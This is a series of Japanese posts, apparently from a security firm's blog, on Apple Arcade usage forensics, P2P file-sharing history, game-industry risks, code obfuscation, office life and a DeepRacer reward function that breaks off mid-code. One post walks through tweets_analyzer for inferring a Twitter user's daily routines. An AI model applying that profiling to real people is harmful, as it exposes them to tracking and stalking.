みなさん、一日の内にどれだけ、Apple Arcadeに費やしていますか?
Apple Arcadeとはなんぞや
App Storeから9月19日にiOS 13と同時にリリースされたゲームを無制限に楽しめるコンテンツです。
1ヶ月あたり600円で、ユーザーは Apple Arcade だけで楽しめる100を超えるゲームをiPhone、iPad、iPod touch、Mac、Apple TVで遊ぶことができます。
Apple Arcadeは、iPadOSとtvOS 13では9月30日に、macOS Catalinaでは10月5日に利用できるようになりました。
Apple Arcadeは月額 600 円の定額課金(サブスクリプション)
つまり、プレイ時間が長いほうが 費用対効果は高い んです。
しかし、通勤中、Appleユーザー の方々が懸命に費用対効果を高められている姿は観測できてません。
盲点としては、みなさん 勤務時間中 にApple Arcadeをしているのかもしれません。
今回は、職場のiMacで会社のクレジットカードを登録して、Apple Arcadeの数々の神ゲーをプレイしました。
(中略)
は~、面白かった
Apple Arcadeに使ったiMacにどういった痕跡が残っているか見てみましょう。
terminal にて
mdls /Applications/[Apple Arcadeのゲーム.app]
また、
/usr/[ユーザー名]/Library/Container/[ドメイン名の逆].[ゲーム名]/Data/Library/Preferences/[ドメイン名の逆].[ゲーム名].plist
で
プレイ回数 が player-session-count の値としてインクリメントしていくようです。
(※ドメイン名の逆の例= netagent.co.jp →(逆)jp.co.netagent
)
プレイ時間 は、アクセスできないかもしれない領域になりますが、
\private\var\folders\38\mb33st4d25v8vrg1hhcj8zsw0000gn\0\com.apple.ScreenTimeAgent\Store\RMAdminStore-Local.sqlite
のZUSAGETIMEDITEMテーブルにあります。
職場でのApple Arcadeは、購入した日時、インストールした日時、プレイ回数・時間がバレるので、無許可での遊戯はやめましょう。
※本記事の検証で使用した端末のモデルはiMac13,2、OSビルドバージョンは19A602です。バージョンにより本記事の内容と異なる場合があります。
2019年9月1日、P2Pネットワーク上の漏えいファイルやノード情報を調査する弊社「P2P調査サービス」が終了しました。
長年ご愛顧いただきありがとうございました。
それに伴い、弊社からP2Pファイル共有ソフトに関する最後の情報発信をさせていただきます。
【目次】
1.日本3大P2Pファイル共有ソフト
2.P2Pファイル共有ソフトに関連した歴史的ニュース
3.弊社P2P調査サービス関連の歴史
4.P2Pファイル共有ソフト利用者数
日本国内のユーザが多いWinny、Share、Perfect Darkについて、その特徴を弊社の調査結果を交えて紹介させていただきます。
※以下、P2Pファイル共有ソフトは「Winny、Share、Perfect Dark」のことを指します。
ピュアP2P方式を採用した日本製ファイル共有ソフトで、2002年5月に公開されました。通信の暗号化、データの中継転送機能といった情報の発信者に対する匿名性があるため、アニメ、映画、国内外ドラマ、音楽、アダルトなど著作権、児童ポルノなど人権を侵害した違法ファイルが数多く出回るといった状況を生み出しました。
Winnyの存在は、2chなどの書き込みを介して瞬く間にネット上に拡散し、テレビでも大々的に報じられました。
また、開発者の金子勇氏は2004年5月に著作権法違反(幇助)で逮捕されましたが「著作権侵害を手助けしようという故意はなかった」として2011年12月に無罪が確定しています。
2004年に登場し、任意に選んだ隣接のノード(他のユーザ)に対し、ファイルを分割してアップロードする拡散アップロードと呼ばれる仕組みを持ちます。そのため、Winnyに比べ素早いファイルの流通を可能にしつつ、情報の第一次発信者に対しては、より匿名性を高めています。
また、32GBまでのファイルを扱えるため、DVD、TV番組などの映像データが数多く流通しています。
Winnyでウイルス感染などにより流出したファイルをShareネットワーク上に、第三者が故意に目立つ形でアップロード共有する"輸出"とよばれる行為も見受けられ、大きな問題となっていました。
2006年12月に登場し、WinnyやShareと同様に多くのアニメ、映画、国内外ドラマ、音楽、アダルトなど様々なファイルが流通しています。
さらにファイルを第三者が評価できる機能を持つため、偽物やダミーファイルが流通しにくいネットワークとなっています。
また、WinnyやShareなどの今までのP2Pとは異なる分散情報を利用しているため非常に高い匿名性を持っています。
2010年1月のダウンロード違法化の開始後も利用者が減少していませんでした。
2006年頃、Winny経由で感染するウイルスによる情報漏えいが社会問題になりました。
当時の安倍晋三官房長官(現内閣総理大臣)は、「国民の1人1人に注意してもらい、対策をとってもらわないと情報漏えいは防げない」、「最も確実な対策は、PCでWinnyを使わないこと」と訴えました。
Winny・Shareネットワークへの情報流出は、主に「Antinny系暴露ウイルス」と呼ばれるウイルスにパソコンが感染した結果、発生します。
ウイルスは、パソコン内の文書ファイルなどを収集し、圧縮ファイル(Zipファイル)に収納した後、Winny・Shareネットワークにアップロードします。
感染した漏えいしたファイル名には、仁義なき~.zipや殺人~.zipと命名規則があり、P2Pネットワーク上で収集されやすいのも特徴でした。
2010年9月7日午前、尖閣諸島付近で中国漁船と海上保安庁との間で起きた衝突事件では、事件の真実が映し出されている映像を国民に公開しないなど、政府の対応に疑問を抱いた海上保安庁職員(「sengoku38」こと一色正春氏)によって、2010年11月4日、インターネット動画サイト「YouTube」に、事件の映像が投稿されました。
YouTubeの映像はすぐに削除されましたが、第三者の手によって映像はWinnyにもアップロードされました。さらに、2chなどの書き込みを介して瞬く間にネット上に拡散し、テレビでも大々的に報じられました。
2010年10月28日に国際テロを捜査する警視庁公安部外事三課が作成した機密情報、日本国内のイスラム教徒の個人情報を含む資料が何者かの手によってWinnyネットワークに流出しました。
1ヶ月後の11月25日には、世界21ヵ国、1万人以上に所有者が拡大、事件を重く見た当局は、発信元となったルクセンブルクに捜査協力を要請、該当のサーバを調査しましたが、レンタルサーバであったことから身元の特定には至りませんでした。
歴史的ニュースではないですが、2009年頃からP2Pによる違法利用による逮捕者が多く出始めていました。
2015年から2019年本ブログ公開日までのP2Pファイル共有ソフト利用による逮捕者関連情報です。
(弊社が公開する「P2P利用状況調査」には未掲載の資料となります。)
※警察による逮捕・検挙者の関連情報は、報道発表などから判明した情報をもとに弊社が独自に集計を行いました。
2013年、2014年の逮捕者関連情報につきましては、下記をご参照ください。
■2013年度の逮捕者関連情報
■2014年度の逮捕者関連情報
P2Pと言えばネットエージェントと言われるくらい、P2P(ファイル共有ソフト)と弊社の関係は深いです。
日本3大P2Pファイル共有ソフトに関連するP2Pネットワークをすべて調査可能であるとして、多くの企業様から調査のご依頼をいただきました。
そのため、簡単に弊社のP2P調査に関する歴史を紹介させていただきます。
年月 | 出来事 |
---|---|
2005年12月 | Winny調査サービス開始 |
2006年12月 | Share暗号解読の公表(ニュースリリース) |
2006年12月 | Share調査サービス開始 |
2007年1月 | 「Share調査システム」が新技術開発財団の2006年度第二次新技術開発助成先として選定される |
2007年2月 | 拡散防止サービス開始(Winny) |
2009年5月 | Perfect Dark調査サービス開始 |
2010年1月 | 拡散防止システムに関わる特許公開(特許公開2010-20797) |
2013年3月 | Perfect Darkに関する捜査協力により京都府警 サイバー犯罪対策課より感謝状 |
※拡散防止サービスとは、P2P(ファイル共有ソフト)ネットワークへの情報流出が発見された際、被害を最小化するため、流出したファイルの情報と同じ情報(キー情報)を大量にネットワークに送信することで、新たにファイルを取得することを抑止し、被害を最小限に防ぐサービスです。
最後に直近のP2Pネットワークの状況としまして、昨年紹介させていただいたゴールデンウィーク期間におけるP2Pファイル共有ソフトウェア利用者数(ノード数)の2019年度版を紹介させていただきます。
※2018年度のも併せて記載しています。
10年ほど前、ほとんどいなくなると予想されていたP2Pファイル共有ソフトの利用者は、10年経った今でも多く存在していることが分かりました。
2019年の利用者数の推移を見ると、2018年とほとんど変わっていません。
つまり、未だに一定数のユーザがP2Pファイル共有ソフトを使い続けていることが分かります。
また、新規の著作物と思われるファイルが現在もP2Pネットワーク内に流出していました。
そのため、現在でも著作物の違法な共有は活発に行われていると考えられます。
弊社のP2Pネットワークの観測は終了しますが、今後も一定の利用者が見込まれ、著作物のダウンロードなどの違法行為が続くのではないでしょうか。
どうも、ゲーム大好きおやじこと、G-secでございます。
今年もやってきました!
年に一回の東京ゲームショウの季節が、そして七夕のようにブログを書く順番が回ってきたのです。
別に嫌々書いているのではなく、セールスブログよりもテック系のビューのほうが高いため、遠慮していただけなんですよ♪
では早速本題に入っていきましょう!
今回お伝えしたいことは、
『ゲーム』を『ビジネス』としてみたとき、
コンテンツホルダーが留意すべきリスクには何があると考えられるのか
です。
コンテンツホルダーが留意すべきリスクは大きく4つに分けられ、それらに対して対策を講じていく必要があります。
では次に、上記4つのリスクが、具体的にどんな事象や対策に繋がるのか見ていきましょう。 ざっくりと列挙してみました。
さて、勘のいい方はもうお気付きだと思いますが、昨今ゲームがインターネットに繋がるようになったことで、ゲームの可能性が広がると共に、今まで以上に考えなければならないリスクもどんどん増えてきています。
また、ゲームをプレイするユーザの楽しみ方は日々変化していることから、上記の表にあるような考慮すべきリスクも共に変わっていくことが予想されます。
そのため、今あるリスクに対して対策すると共に、変化していくリスクや、今後想定されるリスクに対しても、継続的に対処していく必要があります。
特にMMORPGやソーシャルゲームは、機能や仕様・コンテンツのアップデートが繰り返されますし、継続的に運営していく必要があるため、リスクへの継続的な対応は必須ですよね...。
さて、そのような中、ネットエージェントは今回ご紹介したようなゲーム業界におけるリスクに対応し続けられるよう、ゲーム業界の方々と長年にわたりお付き合いさせていただいております。
今後もまた新たなリスクが生まれてくると考えられますが、業界の方々とご一緒に「よりユーザが安心して楽しめるゲーム作り」に寄与できるよう尽力いたします!
何かお困りごとなどございましたら、是非当社までご相談くださいませ。
9月12日~15日に行われる 東京ゲームショウ2019。
14日(土)・15日(日) パブリックデイの入場チケットを 先着10組(20名様) にプレゼントいたします。この機会に奮ってご応募ください!
お申し込みは下記応募フォームよりお1人様1回限りとさせていただきます。
締切:2019年9月11日(水)
お申し込みはこちら
※招待チケットの発送をもって当選の結果とさせていただきます
※本チケットの転売は禁止しております
こんにちは〜、夏休みが終わってほしくないインターネット太郎です。
SNSでは「夏休みにどこへ行った」「夏休み何をした」というポストが多くあり、
自分は何もしないままただ漠然と時間だけが過ぎ、夏休みが終焉を迎えようとしていることに焦燥感を覚えています。
そこで今回はSNSをただ漠然と眺めているのもつまらないので、夏の終りに他人のツイートの傾向を分析してどういう生活を送っているのかを推測していこうという回です。
注意:本投稿で記述した手法を用いてトラブルなどが発生した場合、当社は一切の責任を負いかねます。本情報の悪用はしないでください。
使用するツールは「tweets_analyzer」というツールです。
https://github.com/x0rz/tweets_analyzer
READMEにも書かれていますが、このツールはユーザのツイートからそのユーザのTwitterプロファイルを分析することが出来るツールです。
以下の事項を確認する事ができます。
インストールは以下です。
※ここでtweepyの3.6.0バージョンをrequirementsされていますが、私の実行環境では3.6.0ではエラーになったので最新版の3.8.0を使用しています。
「secrets.py」にてTwitter APIの設定をします。
Twitter APIの取得に関してはよしなに行ってください。
環境が整ったら-hでオプションの確認をしましょう。
$ python tweets_analyzer.py -h
usage: tweets_analyzer.py -n <screen_name> [options]
Simple Twitter Profile Analyzer (https://github.com/x0rz/tweets_analyzer)
version 0.2-dev
optional arguments:
-h, --help show this help message and exit
-l N, --limit N limit the number of tweets to retreive (default=1000)
-n screen_name, --name screen_name
target screen_name
-f FILTER, --filter FILTER
filter by source (ex. -f android will get android
tweets only)
--no-timezone removes the timezone auto-adjustment (default is UTC)
--utc-offset UTC_OFFSET
manually apply a timezone offset (in seconds)
--friends will perform quick friends analysis based on lang and
timezone (rate limit = 15 requests)
-e path/to/file, --export path/to/file
exports results to file
-j, --json outputs json
-s, --save saves tweets to tweets/{twitter_handle}/{yyyy-mm-
dd_HH-MM-SS}.json
--no-color disables colored output
--no-retweets does not evaluate retweets
とりあえず試しに@netaget_jpのアカウントを解析してみましょう(フォローしてね☆)
https://twitter.com/netagent_jp
ここで注意するのが、このツールはデフォルトではUTCの時間を表示するのでこれをJSTに変更します。
JSTはUTC+9時間なので、その秒「32400」を--utc-offset
で指定します。
スクリプトを実行すると様々な解析情報が出てきます。
「Dialy activity distribution (per hour)」では1日のアクティビティの分布が1時間毎にヒストグラムで表示されます。
@netagent_jpでは分かりづらいですが、この分布でユーザのTwitterでの主な活動時間を推測することが出来ます。
そこから生活リズムの推定をすることが可能です。
次に「Weekly activity distribution(per day)」の項目では、曜日ごとのアクティビティの分布がヒストグラムで表示されます。
@netagent_jpの場合は、木曜にブログ更新のツイートをしている為か木曜が一番活動しているようです。
この分布で、曜日毎のツイート数の量が分かる上に内容を確認することでユーザの休日が何曜日かというのを推測することも可能だと考えられます。
残りの項目は、言語の情報、位置情報、使用しているハッシュタグのTOP10、最もRTしているユーザTOP5、最もリプライをしているユーザTOP5、最もツイートしているドメイン(from URL)の情報が含まれます。
これらの項目でユーザの発言の傾向などを見ることが出来るでしょう。
最もリプライを送っているユーザのTOP5は、このユーザがTwitter上で仲の良いであろうと推測が出来るので、どういった関係性なのかをそのリプライを見ることで分かるかもしれません。
この情報に加え、Twitterの検索機能で「to:[screen_name]」や「from:[screen_name]でどのユーザからどのユーザへのリプライなどを検索すると捗ります。
今回は、tweets_analyzerを使用してツイート解析をしてみました。
会社ブログの記事の為、一般ユーザの具体例を挙げることが出来ないのであまり深堀りが出来ませんでしたが、このツールを使用して特定のユーザの「生活パターン」を推測することが出来ます。
SNSで「生活パターンを他人に知られたくない!」という方々は、このようなツールで自分の意図していない活動の傾向があるかなど把握すると良いと思います。
あったかいものどうぞ。
この時期にあったかいもの......どうも、セキュ松です。
前回の雑な『深層学習やってみた記事』の続きを書きたかったのですが、
業務の合間に「強化学習により駆動する完全自走型レーシングカー」 に興じたり、
新規事業について考えていたら
あっという間に原稿の締め切り2日前を迎えてしまいました。
前回の記事の続きを楽しみにしてくださっていた全国100万人のオタクから出る美少女の声マニアには申し訳ないですが、間に合えば次回のブログでもっと平沢唯ちゃんになりきったオタクの声を聞いてもらえれば、と思います。
さて、2019年夏アニメが始まりましたが、皆さんは戦姫絶唱シンフォギアXVを視聴されていますかな?(ニチャァ(オタクスマイル(メガネクイッ
※今回のブログ記事では、戦姫絶唱シンフォギアの話しかしません。
※Youtubeで公式から現在《いま》公開されている全テレビシリーズを通して見ると、更に本ブログ記事を楽しむことができます。
5期が絶賛放送中なため「シンフォギアで何か執筆《かき》たい」という情熱《あい》が領空侵犯を起こしたので、無理矢理セキュリティとこじつけることにしました。
セキュリティにこじつけるとして、何を題材にしようか......と頭を悩ませていたんですが、これまたホットな話題ということで、数ヶ月前から世間を騒がせていた二要素認証に関して書こうかなと思います。
戦姫絶唱シンフォギアでは、美少女たちが歌いながら変身して、怪物と戦い、なんやかんや世界を救っていきます。
『美少女が変身して怪物と戦い、なんやかんや世界を救う』
の部分だけであれば、日曜の朝にやっているような話ですが、
戦姫絶唱シンフォギアの場合は『歌いながら』という部分が重要になってきます。
歌うことで力が湧く設定なので、例えば歌えない水の中だと力が出なくなります。
逆に言えば、歌っていると元気が出てくるので何でも出来るようになります。
この際、歌うことで聖遺物《せいいぶつ》と呼ばれる、神話や伝承に登場する武具の力を解き放ち、装者はシンフォギアを纒い、変身します。
ここまで大丈夫ですか?
ついてこれてますか?
ついてこれるオタクだけついてきてください。
この変身の際、
これらを可能にするシステムのことをシンフォギア・システムと呼びます。
もう何が言いたいかお分かりですね?
つまり、シンフォギア・システムは
という二要素認証になっているのです!
一見すると、聖遺物を盗まれても生体認証をパスできないので、堅牢なシステムのように見えます。
しかし、ここで大事なのが、それぞれの認証が正しく実装されているかどうかという点でした。
はい、シンフォギアオタクの皆さんは私が何を言いたいのかお分かりかと思います。
立花響ちゃんが、マリア・カデンツァヴナ・イヴさんから撃槍ガングニールを奪うシーンですね(オタク特有の早口)
未視聴の方に分かりやすく説明すると、戦姫絶唱シンフォギアG 12話において、
主人公である立花響ちゃんが、自分が所有していた聖遺物ではなく、
マリア・カデンツァヴナ・イヴさんが所有していた聖遺物で変身を行うシーンが存在します。
なぜこんなことが起きてしまったのかと言うと、
聖遺物による生体認証は適合者であるかどうかの判定でしかなかったためです。
そのため、奇跡的に適合者が2人以上存在した聖遺物《撃槍ガングニール》において、
生体認証が固有の人物を認識するための認証機構として機能しなくなってしまいました。
そもそも、戦姫絶唱シンフォギアG 1話で、1つの聖遺物に対して適合者は1人ではなく2人以上存在することは明かされていました。
その時点で、聖遺物の生体認証は、固有の人物に対するものではないと想像できたはずだったんですけどね......
シンフォギア・システムの生体認証は、固有の人物を特定するための認証機構として成立していませんでした。
そもそも、聖遺物を使用することが出来るかどうかの認証機構なので、それは仕方ないのかもしれませんが、同様のことは現実のセキュリティでも同じことが言えます。(セキュリティブログとしてのノルマ達成)
生体認証として日常的に使われるものには、静脈認証、指紋認証、虹彩認証、FaceIDなどが挙げられますが、これらを実装する際、本当に脆弱性や仕様上のミスは含まれていないでしょうか?
下記の記事では、iPhoneで使用されているFaceIDは、一卵性双生児の双子であれば、別人であっても突破可能という欠点を紹介しています。
一卵性双生児の双子はFace IDを突破可能 iPhoneXSにも同じ欠点 - ライブドアニュース
多要素認証であるからと言って、仕組みそのものに安心しきっていると、思わぬ実装のミスや、認証仕様の勘違いによって、認証そのものの信頼性が揺らいでしまうかもしれませんね。
※「戦姫絶唱シンフォギア」はキングレコード株式会社の登録済み商標です。
(登録番号 第5479640号)
どーも、bubobuboです。
引き続き「プログラムの難読化」をテーマに、急ぎ気味で作文を行いました。
難読化をテーマとしたエントリはこれで5本目ですが、4本目の時点で飽きてきたので「後編」と題した本エントリで終了したいと思います。前回の記事から期間が開いていて、今までどこまで書いたのか忘れかけていたことと、締め切りが厳しいので手短(?)に済ませます。
過去の記事はこちら。
難読化の話(超!?入門編)
難読化の話(超!?入門編)その2
難読化の話(超!?入門編)その3 前編
難読化の話(超!?入門編)その3 中編
以前のエントリで説明したことですが、Javaや.NETで作られたプログラムはデコンパイルが容易です。なぜ元のソースコードに近いものを復元できるのかというと、作成したプログラムがネイティブコードではなく中間コードとして保持されているからです。
ネイティブコードは、ソースコードからビルドする際に、プログラムの実行には不要な情報を削除したり、冗長な処理を削るなどの最適化を行います。最適化を極限まで追求するには、アーキテクチャの特性も最大限利用する必要があります。元のソースコードを共通化したとしても、コンパイラやリンカは、それぞれのCPUやOSなどに適した最適化を行います。例えばWindows版、iOS版、ニンテンドースイッチ版の3バージョンを出したい場合は、3種類のネイティブコードを用意する必要があります。
中間コードは、テキストデータであるソースコードをバイナリデータに変換したものです(これは雑な説明です)。プログラムを動作させるために明らかに不要な情報(例えば、コメントアウトされたプログラムやメモ)は削除されますが、それ以外の情報はかなりの精度で残されています。Javaと.NETで若干違いますが、変数名や関数名などのメタデータは、プログラマが命名したものがそのまま残っています。さらに、中間コードの時点ではまだ最適化を行っていないので、大元のプログラムの特徴がほぼそのまま残っています。最適化は、プログラムの実行時に各プラットフォーム向けにカスタマイズされた仮想マシン(JavaVM、.NET Framework)が行います。
それゆえ、Javaや.NETで開発されたプログラムはデコンパイルされやすく、第三者でもオリジナルのソースコードに近いものを得ることができます。
...ここまでは以前のエントリの復唱です。
誤解のないように追記すると、中間コードではなくネイティブコードに対応したデコンパイラも同じぐらいの歴史があります。ただし、多くの情報が欠落したネイティブコードのデコンパイルは技術的に混み入っているので、実用レベルのものを目指すと、個人では買えない金額の有償ソフトしかありませんでした。
今は選択肢が増えて、商用レベルのデコンパイラが無料で手に入ります。詳しくはごった煮ブログの以下のエントリをどうぞ。
リバースエンジニアリングツール新時代?!-Ghidraのお話-
https://www.netagent.co.jp/study/blog/hard/20190530.html
話を戻します。中間コードはなぜデコンパイルされやすいのか? というと前述したように「中間コードだから」なのですが、ではなぜデコンパイラが作られやすいのかというと「技術資料は全て揃っているから」です。Javaならサンマイクロシステムズ(現オラクル)、.NETならマイクロソフトが、仮想マシンのソースコードや中間コードの仕様書を自ら公開しています。大企業が自社の技術を広く普及させようとしているのだから当然のことです。今では互換・派生環境も複数あります。
List of Java virtual machines
https://en.wikipedia.org/wiki/List_of_Java_virtual_machines
Mono (ソフトウェア)
https://ja.wikipedia.org/wiki/Mono_(%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2)
非常に長いフリになってしまいましたが「技術資料は全て揃っているから」デコンパイル(≒解析)されやすいわけです。これが「技術資料が全く開示されていない」と仮定するとどうなるでしょう。
まず、解析したい中間言語のプログラムは意味不明なデータの固まりです。既存のデバッガも使えません(仮想マシン自体はデバッグできますが、その上で動く中間言語のトレースはできません)。したがって、仮想マシンの実装や中間コードの仕様をノーヒントの状態から探り当てる必要があります。中間言語の仕様がわかったら、いきなり逆コンパイル...は難しいので、まずは逆アセンブラを自作して、逆アセンブルリストを辛抱強く読んで、プログラムがどう動いているのかを調べていく...手順を並べてみると、ものすごい労力が必要になることは自明でしょう。
この発想を使って、(変な言葉ですが)さらに難しいプログラムの難読化ツールを作れるのではないか、という動きが起こりました。
まず、独自規格の仮想マシンを設計して、難読化したいプログラムをその仮想マシンで動くコードに変換して、その変換した(=難読化した)コードを独自規格の仮想マシン上で実行するようにします。
そうすると、この難読化したプログラムを解析したい場合は、前述した「仮想マシンの実装や中間コードの仕様をノーヒントの状態から探り当てる」ところからのスタートになります。正攻法でやろうとすると、ものすごくしんどいです。
このような思想で作られた難読化ツールで、筆者が初めて見たのは『x86.Virtualizer』でした。2007年の話。
x86.Virtualizer
https://github.com/rwfpl/rewolf-x86-virtualizer
リバースエンジニアリングに関する国際会議であるREconでも同じコンセプトの発表がありました。2008年の話。
Creating Code Obfuscation Virtual Machines
https://recon.cx/2008/a/craig_smith/Neohapsis-VM-101.pdf
このスライドではP-Code(Pseudo Code:疑似コード)という単語が使われていますが、Visual Basic 4.0まではネイティブコードへのコンパイルができず、Visual Basicランタイムが解釈できるP-Codeを出力していたことを思い出しました(実質的な中間コードですが、当時「中間コード」という呼び方は無かった...はず)。
仮想マシンはただえさえマシンパワーを食うのに、当時のPCのスペックで仮想マシン的なことをやっているのだから動作はとても遅く、しかもランタイムパッケージをあらかじめインストールしないと動作しないという代物でした。
当然ですが、OllyDbgやWinDbgのようなx86専用のデバッガ・逆アセンブラではVisual BasicのP-Codeをデバッグすることができません。ここだけ見ると立派な難読化と言えそうです。
ただし、Visual Basicアプリ専用のデバッガが存在しており、P-Codeの逆アセンブル機能を持った『WKTVBDebugger』を使えば、OllyDbgと同じようにデバッグトレースが可能でした。また、Visual Basicのコード内で標準関数を使うと、いちいちランタイムパッケージを外部参照するので、DLLにフックをかけるとどのような関数が呼び出されるのかわかるので、そのログを見るだけで何をやっているのかわかったりしました。
今日のクラック対策ツールの中には、こうした仮想マシン型の難読化を行うものがあります。前述したように「(独自規格の)仮想マシンの実装や中間コードの仕様をノーヒントの状態から探り当てる」ところから始めなければならないので、正攻法でリバースエンジニアリングしようとすると、ものすごくしんどい(はず)です。と同時に、クラック対策ツールを実装する側も相当にしんどいと思います。
仮想マシン型であるということは、難読化されたコード(中間言語)をネイティブコードに直しながら実行していることになるので、計算コストは凄まじくなります(本当の意味での中間コードなら、JITコンパイラを使ってネイティブコードに変換してから実行するので十分早いですが、難読化を目的とするのであれば、事前にまとめて機械語に直す方法は採らないはずです)。
とはいえ、今のコンピュータは普及価格帯でも十分速いので、難読化することで処理が増えても程度問題となりそうです...が、以前のエントリで紹介したように、マシンスペックをフルに使うPCゲームにおいては、すでにクラック対策ツールによる悪影響が露呈しています。不正コピーは防げるかもしれないが、動作が重くなりユーザー体験は劣悪になると本末転倒です。
近年では、LLVMを応用したプログラムの難読化やその逆を行う強力なアプローチもあります。
LLVM
https://ja.wikipedia.org/wiki/LLVM
いま、LLVMという技術用語を説明なく使いましたが、技術的には非常に興味深いものの低レイヤーかつ非常に難解、そもそもどういう技術なのかをうまく一言で説明することができません。しかし、この原稿の締め切りまであと10分となってしまったので、巨大変身ヒーローのように帰ってくるかどうかわかりませんが、難読化のエントリは5部作で終わりにします。
こんにちは、かすたーど先生です。
採用活動をしている中で、伝え方が難しいなと思うことの1つに
「社内の雰囲気」があります。
以前のブログ「ホワイトハッカーの1日」という記事を読んでいただいた方は分かると思うのですが、良くも悪くも「伸び伸び」した社風です。
よく言われるのが、「理系大学の研究室の延長線上のような雰囲気」です。
そんな社内の雰囲気を、少しでもお伝えしたい!と思い、
今回のブログでは、ネットエージェントを写真で紹介していこうと思います。
ネットエージェントのエンジニア達の朝はゆっくりです。
AM9:00
IoTセキュリティやゲームセキュリティ診断を担当するエンジニアのエリアには誰もいません。
10時半過ぎると席が埋まってきます。(笑)
また、エンジニアはみんな私服です。
(ネットエージェントはドレスコードフリーです)
(ちなみに管理部もみんな私服です)
お客様案件の作業中の風景はお見せできませんので、社内イベントの一部をご紹介したいと思います。
IoTペネトレーションテストを担当するチームの発案で、
「ハードウェア基板組み立てキーボードキットを使って自作キーボードを作る会」が開催されました。
基板に、マイコンがのった「Pro Micro」やキースイッチをつけて、ファームウェアをビルドして書き込みすると完成します。
ボタン4つだけのキーボード基板で、好きなキーをプログラムで作成できます。
ペネトレーションテストでは、はんだ付けをすることもあるので、エンジニアが練習できる場として企画されたのですが、せっかくやるならと全社員向けイベントとなりました。
(まったくの未経験ですが、私も参加してみました!)
はんだ付けの注意点や、ダイオードとPro Microの向きについての案内、基板の作り方の説明などを受け、レッツチャレンジ!
(ネイルとはんだごてがいい感じに映えていますね!)
黙々と、時に叫びながら(はんだと基板くっついちゃった!)基板を作っていきます(真剣!)
Pro Micro付けるのが特に難しかったです。
完成したら、ちゃんと動くか確認してもらいます。
ここで、トラブル発生! Pro Microが動作しません。
よく見たところ、Pro Micro上の部品に不良がありました!
ということで、緊急オペを行いました。
顕微鏡で拡大してみると、確かにまがっているのがわかります。
無事修正でき、動かすことが出来ました!
このときの感動は忘れられません。
最後に、おのおの好きなキーを設定して完了です。
ほんの一部ではありますが、自社の診断サービスに関われたような気がして楽しかったです!
自由な発想で、新規プロダクト・サービスになりそうな事、なったら面白そうな事を発表する会が定期的に開催されています。
セキュリティに限らず、気になる技術、やってみたい技術を活かせるアイデアを発表する会です。
このイベントも全社でやっており、社員みんなが参加するので会議室がぎっちりです。
お菓子などの食べ物を用意して、ざっくばらんな雰囲気でやっています!
内容は残念ながらお見せできないのですが、
などのキーワードが出ていました。
新しいサービスやプロダクトのアイデアはもちろん、そのアイデアに関連する技術についての解説や、市場についてなどの話が聞けるので、とても勉強になります。
また、以前発表した内容をブラッシュアップし、追加研究して得た内容なども発表されます。他の人の発表内容から考案されたアイデアなども共有されるので、みんなで知識を深めていくことが出来る良い機会になっています。
(特許がとれそうなアイデアもいくつか出てきています!)
このようなアイデア発表会や、先ほど紹介した自作キーボード作成の会など、社員の意見や発案を応援し、新しいアイデアを実行することを推奨している会社です。
いかがでしたでしょうか。
朝はゆっくり出社だったり、ほとんどの人が私服だったり、はんだ付けしていたり、技術についてみんなで活発に議論したり、なんとなく社風がお伝えできましたら嬉しいです。
セキュリティ会社という性質上、なかなかすべてをお見せできないのですが、これからも見せられる場面が出てきたらブログで紹介してまいります。
以上、かすたーど先生でした。
皆さん、自動運転ってすごいですよね。
自動運転は段階として、5段階あり、日本では、2020年からレベル3 が市場に流通し始めるそうです。
※レベル3は限定的な条件(高速道路など)でのみ自動運転、緊急時は人間が操作。
レベル5の自動運転は、家から寝ていても目的地に着く理想的な自動運転です。
そして、今回の記事のテーマ DeepRacerが現実の⾃動運転とどう関係していくのかといいますと、実際に北米でGoogle の waymo という自動運転サービスがあり、公道で実験をしています。
どちらの自動運転も周りの環境を認知するためのカメラがついており、カメラからの画像情報を取得し、そこから周りの環境について解釈することで、自機の今の状況を判断する根拠としています。
安全な自動運転が実現するには、非常に重要で不可欠なプロセスです。
もし、カメラから入る情報が攻撃者によってマスクされ、赤信号を青信号として認識してしまうなどの攻撃が行われれば、それはそれは大変なことになってしまいますね。
セキュリティって大事なんですね(セキュリティ企業ブログとしてのノルマを雑に達成)
そんなわけで、今回はDeepRacerについてのお話です。
おまけのAWS参戦記(地獄の実機編)までお読みいただければ人間(筆者)は嬉しいです。
AMAZONが催しているAIレーサー育成ゲームです。
AWSと頭につくので、察しの良い方はおわかりだと思いますが、いちいちお金がかかります。
今回は、2019年6月12日-15日に開催されたAWS Summit TOKYO 2019 への参加に向けてAIレーサーを教育していったのですが、
1時間教育するのに、大体 7ドル ぐらいかかります。
周りに経験者のいない強化学習が初めての方が1周するようなレーサーを育成するとなると、2万円は欲しいかもしれないです。
教育されるAIの個体のことです。
1トレーニングにつき60分~180分ぐらいかけてAIの育成方針を模索していました。
下記に派生図を示します。
v1-v5┬v6┬v7-v8┬v11
│ │ └v12┬v13-v18-v19-v20-v21-v22┬v23-v24-v25-v26-v27
│ └v9-v10 │ └v28
│ ├v14
│ └v15
└v17
くっそ迷走してますが、v18 の頃に方針の腹を決めています。
v17 までは、中心寄りかつ右寄りで走って欲しかったので、それを完璧にしようとしていましたが、一向に改善されなかったためやめました。
v17の以下の図を示します。
このグラフは報酬関数(reward_function)により、return された [reward]の値の1分(840-960Step程度)毎の合計値です。
上下をうろうろしていますが、なかなか右肩に上がりません。
困りましたね。
強化学習ではこの報酬関数というものが使われます。
※報酬関数とは、自分が考えた最強のアルゴリズムとそれに応じた[reward]の値を実装し、より理想的な動きを機械にしてもらうための関数です。
ですので、私たち人間はアルゴリズムを考え、(DeepRacerではpythonで)実装し、コードのValideteを無事に通すまでが仕事です。
あとは、実装した報酬関数の処理に沿って、機械ができるだけ報酬の高くなる解を求めて右往左往しているグラフを眺めてウットリして過ごします。
色々模索した結果、トレーニング後の検証(evaluation)で5回100%を取る天才レーサーが誕生しました。
35時間
import math
# main
def reward_function(params):
# パラメータ取得
all_wheels_on_track = params['all_wheels_on_track']
x = params['x']
y = params['y']
distance_from_center = params['distance_from_center']
is_left_of_center = params['is_left_of_center']
heading = params['heading']
progress = params['progress']
steps = params['steps']
speed = params['speed']
steering_angle = params['steering_angle']
track_width = params['track_width']
waypoints = params['waypoints']
closest_waypoints = params['closest_waypoints']
# 定数の設定
MIN_REWARD = 1e-3
SPEED_THRESHOLD1 = 2.7
SPEED_THRESHOLD2 = 4.0
SPEED_THRESHOLD3 = 5.4
SPEED_THRESHOLD4 = 7.0
DIRECTION_THRESHOLD1 = 4.0
